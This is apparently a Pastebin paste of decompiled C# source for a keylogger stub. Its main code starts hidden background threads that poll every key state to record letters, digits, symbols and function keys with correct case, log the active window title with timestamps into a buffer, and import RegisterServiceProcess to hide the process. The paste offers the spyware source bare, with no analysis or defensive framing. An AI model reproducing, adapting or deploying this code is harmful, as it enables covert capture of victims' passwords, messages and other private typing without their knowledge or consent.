Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Diagnostics;
- using System.Runtime.InteropServices;
- using System.Threading;
- using Microsoft.VisualBasic;
- using Microsoft.VisualBasic.CompilerServices;
- using My;
- namespace Stub
- {
- // Token: 0x02000010 RID: 16
- public class A
- {
- // Token: 0x06000091 RID: 145 RVA: 0x0000E72F File Offset: 0x0000C92F
- [DebuggerNonUserCode]
- public A()
- {
- }
- // Token: 0x06000092 RID: 146 RVA: 0x0000E739 File Offset: 0x0000C939
- public static void main_()
- {
- Fransesco.ko();
- }
- // Token: 0x06000093 RID: 147 RVA: 0x0000E744 File Offset: 0x0000C944
- public static string ACTvv()
- {
- string text = new string('\0', 100);
- A.GetWindowTextA(A.GetForegroundWindow(), ref text, 100);
- return text.Substring(0, checked(Strings.InStr(text, "\0", 0) - 1));
- }
- // Token: 0x06000094 RID: 148 RVA: 0x0000E784 File Offset: 0x0000C984
- public static bool CPOM()
- {
- return MyProject.Computer.Keyboard.CapsLock;
- }
- // Token: 0x06000095 RID: 149
- [DllImport("user32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
- private static extern int GetAsyncKeyState(long vKey);
- // Token: 0x06000096 RID: 150
- [DllImport("user32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
- private static extern int GetForegroundWindow();
- // Token: 0x06000097 RID: 151 RVA: 0x0000E7A8 File Offset: 0x0000C9A8
- public static string GetL()
- {
- return A.BRK;
- }
- // Token: 0x06000098 RID: 152
- [DllImport("user32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
- private static extern int GetWindowTextA(int hwnd, [MarshalAs(34)] ref string lpString, int cch);
- // Token: 0x06000099 RID: 153 RVA: 0x0000E7C0 File Offset: 0x0000C9C0
- [STAThread]
- public static void main()
- {
- A.runx = true;
- A.thx = new Thread(new ThreadStart(A.timx_run));
- A.thx.Start();
- A.runy = true;
- A.thy = new Thread(new ThreadStart(A.timy_run));
- A.thy.Start();
- Fransesco.ko();
- }
- // Token: 0x0600009A RID: 154
- [DllImport("Kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
- private static extern int RegisterServiceProcess(int dwProcessId, int dwType);
- // Token: 0x0600009B RID: 155 RVA: 0x0000E824 File Offset: 0x0000CA24
- public static void timx_run()
- {
- while (A.runx)
- {
- Thread.Sleep(100);
- bool flag = Operators.CompareString(A.actv, A.ACTvv(), false) != 0 & Operators.CompareString(A.ACTvv(), "", false) != 0;
- if (flag)
- {
- A.actv = A.ACTvv();
- DateTime localTime = MyProject.Computer.Clock.LocalTime;
- A.BRK += string.Concat(new string[]
- {
- "\r\n\u0001",
- DateAndTime.Now.ToString("yy/MM/dd"),
- " | ",
- DateAndTime.TimeString,
- " - ",
- A.ACTvv(),
- "\u0001\r\n"
- });
- }
- }
- }
- // Token: 0x0600009C RID: 156 RVA: 0x0000E904 File Offset: 0x0000CB04
- public static void timy_run()
- {
- while (A.runy)
- {
- int asyncKeyState = A.GetAsyncKeyState(16L);
- int asyncKeyState2 = A.GetAsyncKeyState(65L);
- bool flag = (A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "A";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "a";
- }
- asyncKeyState2 = A.GetAsyncKeyState(66L);
- flag = ((A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "B";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "b";
- }
- asyncKeyState2 = A.GetAsyncKeyState(67L);
- flag = ((A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "C";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "c";
- }
- asyncKeyState2 = A.GetAsyncKeyState(68L);
- flag = ((A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "D";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "d";
- }
- asyncKeyState2 = A.GetAsyncKeyState(69L);
- flag = ((A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "E";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "e";
- }
- asyncKeyState2 = A.GetAsyncKeyState(70L);
- flag = ((A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "F";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "f";
- }
- asyncKeyState2 = A.GetAsyncKeyState(71L);
- flag = ((A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "G";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "g";
- }
- asyncKeyState2 = A.GetAsyncKeyState(72L);
- flag = ((A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "H";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "h";
- }
- asyncKeyState2 = A.GetAsyncKeyState(73L);
- flag = ((A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "I";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "i";
- }
- asyncKeyState2 = A.GetAsyncKeyState(74L);
- flag = ((A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "J";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "j";
- }
- asyncKeyState2 = A.GetAsyncKeyState(75L);
- flag = ((A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "K";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "k";
- }
- asyncKeyState2 = A.GetAsyncKeyState(76L);
- flag = ((A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "L";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "l";
- }
- asyncKeyState2 = A.GetAsyncKeyState(77L);
- flag = ((A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "M";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "m";
- }
- asyncKeyState2 = A.GetAsyncKeyState(78L);
- flag = ((A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "N";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "n";
- }
- asyncKeyState2 = A.GetAsyncKeyState(79L);
- flag = ((A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "O";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "o";
- }
- asyncKeyState2 = A.GetAsyncKeyState(80L);
- flag = ((A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "P";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "p";
- }
- asyncKeyState2 = A.GetAsyncKeyState(81L);
- flag = ((A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "Q";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "q";
- }
- asyncKeyState2 = A.GetAsyncKeyState(82L);
- flag = ((A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "R";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "r";
- }
- asyncKeyState2 = A.GetAsyncKeyState(83L);
- flag = ((A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "S";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "s";
- }
- asyncKeyState2 = A.GetAsyncKeyState(84L);
- flag = ((A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "T";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "t";
- }
- asyncKeyState2 = A.GetAsyncKeyState(85L);
- flag = ((A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "U";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "u";
- }
- asyncKeyState2 = A.GetAsyncKeyState(86L);
- flag = ((A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "V";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "v";
- }
- asyncKeyState2 = A.GetAsyncKeyState(87L);
- flag = ((A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "W";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "w";
- }
- asyncKeyState2 = A.GetAsyncKeyState(88L);
- flag = ((A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "X";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "x";
- }
- asyncKeyState2 = A.GetAsyncKeyState(89L);
- flag = ((A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "Y";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "y";
- }
- asyncKeyState2 = A.GetAsyncKeyState(90L);
- flag = ((A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (!A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "Z";
- }
- flag = ((!A.CPOM() & asyncKeyState == 0 & (asyncKeyState2 & 1) == 1) | (A.CPOM() & asyncKeyState != 0 & (asyncKeyState2 & 1) == 1));
- if (flag)
- {
- A.BRK += "z";
- }
- asyncKeyState2 = A.GetAsyncKeyState(49L);
- flag = (asyncKeyState == 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "1";
- }
- flag = (asyncKeyState != 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "!";
- }
- asyncKeyState2 = A.GetAsyncKeyState(50L);
- flag = (asyncKeyState == 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "2";
- }
- flag = (asyncKeyState != 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "@";
- }
- asyncKeyState2 = A.GetAsyncKeyState(51L);
- flag = (asyncKeyState == 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "3";
- }
- flag = (asyncKeyState != 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "#";
- }
- asyncKeyState2 = A.GetAsyncKeyState(52L);
- flag = (asyncKeyState == 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "4";
- }
- flag = (asyncKeyState != 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "$";
- }
- asyncKeyState2 = A.GetAsyncKeyState(53L);
- flag = (asyncKeyState == 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "5";
- }
- flag = (asyncKeyState != 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "%";
- }
- asyncKeyState2 = A.GetAsyncKeyState(54L);
- flag = (asyncKeyState == 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "6";
- }
- flag = (asyncKeyState != 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "^";
- }
- asyncKeyState2 = A.GetAsyncKeyState(55L);
- flag = (asyncKeyState == 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "7";
- }
- flag = (asyncKeyState != 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "&";
- }
- asyncKeyState2 = A.GetAsyncKeyState(56L);
- flag = (asyncKeyState == 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "8";
- }
- flag = (asyncKeyState != 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "*";
- }
- asyncKeyState2 = A.GetAsyncKeyState(57L);
- flag = (asyncKeyState == 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "9";
- }
- flag = (asyncKeyState != 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "(";
- }
- asyncKeyState2 = A.GetAsyncKeyState(48L);
- flag = (asyncKeyState == 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "0";
- }
- flag = (asyncKeyState != 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += ")";
- }
- flag = ((A.GetAsyncKeyState(8L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[Back]";
- }
- flag = ((A.GetAsyncKeyState(9L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[tab]";
- }
- flag = ((A.GetAsyncKeyState(13L) & 1) == 1);
- if (flag)
- {
- A.BRK += "\r\n";
- }
- flag = ((A.GetAsyncKeyState(16L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[shift]";
- }
- flag = ((A.GetAsyncKeyState(17L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[ctrl]";
- }
- flag = ((A.GetAsyncKeyState(18L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[alt]";
- }
- flag = ((A.GetAsyncKeyState(19L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[pause]";
- }
- flag = ((A.GetAsyncKeyState(27L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[esc]";
- }
- flag = ((A.GetAsyncKeyState(32L) & 1) == 1);
- if (flag)
- {
- A.BRK += " ";
- }
- flag = ((A.GetAsyncKeyState(35L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[end]";
- }
- flag = ((A.GetAsyncKeyState(36L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[home]";
- }
- flag = ((A.GetAsyncKeyState(37L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[left]";
- }
- flag = ((A.GetAsyncKeyState(39L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[right]";
- }
- flag = ((A.GetAsyncKeyState(38L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[up]";
- }
- flag = ((A.GetAsyncKeyState(40L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[down]";
- }
- flag = ((A.GetAsyncKeyState(45L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[insert]";
- }
- flag = ((A.GetAsyncKeyState(46L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[Delete]";
- }
- asyncKeyState2 = A.GetAsyncKeyState(186L);
- flag = (asyncKeyState == 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += ";";
- }
- flag = (asyncKeyState != 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += ":";
- }
- asyncKeyState2 = A.GetAsyncKeyState(187L);
- flag = (asyncKeyState == 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "=";
- }
- flag = (asyncKeyState != 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "+";
- }
- asyncKeyState2 = A.GetAsyncKeyState(188L);
- flag = (asyncKeyState == 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += ",";
- }
- flag = (asyncKeyState != 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "<";
- }
- asyncKeyState2 = A.GetAsyncKeyState(189L);
- flag = (asyncKeyState == 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "-";
- }
- flag = (asyncKeyState != 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "_";
- }
- asyncKeyState2 = A.GetAsyncKeyState(190L);
- flag = (asyncKeyState == 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += ".";
- }
- flag = (asyncKeyState != 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += ">";
- }
- asyncKeyState2 = A.GetAsyncKeyState(191L);
- flag = (asyncKeyState == 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "/";
- }
- flag = (asyncKeyState != 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "?";
- }
- asyncKeyState2 = A.GetAsyncKeyState(192L);
- flag = (asyncKeyState == 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "`";
- }
- flag = (asyncKeyState != 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "~";
- }
- asyncKeyState2 = A.GetAsyncKeyState(219L);
- flag = (asyncKeyState == 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "";
- }
- flag = (asyncKeyState != 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "";
- }
- asyncKeyState2 = A.GetAsyncKeyState(220L);
- flag = (asyncKeyState == 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "\\";
- }
- flag = (asyncKeyState != 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "|";
- }
- asyncKeyState2 = A.GetAsyncKeyState(221L);
- flag = (asyncKeyState == 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "";
- }
- flag = (asyncKeyState != 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "";
- }
- asyncKeyState2 = A.GetAsyncKeyState(222L);
- flag = (asyncKeyState == 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "'";
- }
- flag = (asyncKeyState != 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "\"";
- }
- flag = ((A.GetAsyncKeyState(106L) & 1) == 1);
- if (flag)
- {
- A.BRK += "*";
- }
- flag = ((A.GetAsyncKeyState(111L) & 1) == 1);
- if (flag)
- {
- A.BRK += "/";
- }
- flag = ((A.GetAsyncKeyState(107L) & 1) == 1);
- if (flag)
- {
- A.BRK += "+";
- }
- flag = ((A.GetAsyncKeyState(109L) & 1) == 1);
- if (flag)
- {
- A.BRK += "-";
- }
- flag = ((A.GetAsyncKeyState(110L) & 1) == 1);
- if (flag)
- {
- A.BRK += ".";
- }
- flag = ((A.GetAsyncKeyState(112L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[F1]";
- }
- flag = ((A.GetAsyncKeyState(113L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[F2]";
- }
- flag = ((A.GetAsyncKeyState(114L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[F3]";
- }
- flag = ((A.GetAsyncKeyState(115L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[F4]";
- }
- flag = ((A.GetAsyncKeyState(116L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[F5]";
- }
- flag = ((A.GetAsyncKeyState(117L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[F6]";
- }
- flag = ((A.GetAsyncKeyState(118L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[F7]";
- }
- flag = ((A.GetAsyncKeyState(119L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[F8]";
- }
- flag = ((A.GetAsyncKeyState(120L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[F9]";
- }
- flag = ((A.GetAsyncKeyState(121L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[F10]";
- }
- flag = ((A.GetAsyncKeyState(122L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[F11]";
- }
- asyncKeyState2 = A.GetAsyncKeyState(123L);
- flag = (asyncKeyState == 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.BRK += "[F12]";
- }
- flag = (asyncKeyState != 0 & (asyncKeyState2 & 1) == 1);
- if (flag)
- {
- A.RegisterServiceProcess(0, 0);
- }
- flag = ((A.GetAsyncKeyState(144L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[NumLock]";
- }
- flag = ((A.GetAsyncKeyState(145L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[ScrollLock]";
- }
- flag = ((A.GetAsyncKeyState(42L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[PrintScreen]";
- }
- flag = ((A.GetAsyncKeyState(33L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[PageUp]";
- }
- flag = ((A.GetAsyncKeyState(34L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[Pagedown]";
- }
- flag = ((A.GetAsyncKeyState(97L) & 1) == 1);
- if (flag)
- {
- A.BRK += "1";
- }
- flag = ((A.GetAsyncKeyState(98L) & 1) == 1);
- if (flag)
- {
- A.BRK += "2";
- }
- flag = ((A.GetAsyncKeyState(99L) & 1) == 1);
- if (flag)
- {
- A.BRK += "3";
- }
- flag = ((A.GetAsyncKeyState(100L) & 1) == 1);
- if (flag)
- {
- A.BRK += "4";
- }
- flag = ((A.GetAsyncKeyState(101L) & 1) == 1);
- if (flag)
- {
- A.BRK += "5";
- }
- flag = ((A.GetAsyncKeyState(102L) & 1) == 1);
- if (flag)
- {
- A.BRK += "6";
- }
- flag = ((A.GetAsyncKeyState(103L) & 1) == 1);
- if (flag)
- {
- A.BRK += "7";
- }
- flag = ((A.GetAsyncKeyState(104L) & 1) == 1);
- if (flag)
- {
- A.BRK += "8";
- }
- flag = ((A.GetAsyncKeyState(105L) & 1) == 1);
- if (flag)
- {
- A.BRK += "9";
- }
- flag = ((A.GetAsyncKeyState(96L) & 1) == 1);
- if (flag)
- {
- A.BRK += "0";
- }
- flag = ((A.GetAsyncKeyState(17L) & 1) == 1);
- if (flag)
- {
- A.BRK += "[Ctrl]";
- }
- }
- }
- // Token: 0x04000088 RID: 136
- private static string actv = A.ACTvv();
- // Token: 0x04000089 RID: 137
- private static string BRK = "";
- // Token: 0x0400008A RID: 138
- private static bool runx = false;
- // Token: 0x0400008B RID: 139
- private static bool runy = false;
- // Token: 0x0400008C RID: 140
- private static Thread thx;
- // Token: 0x0400008D RID: 141
- private static Thread thy;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement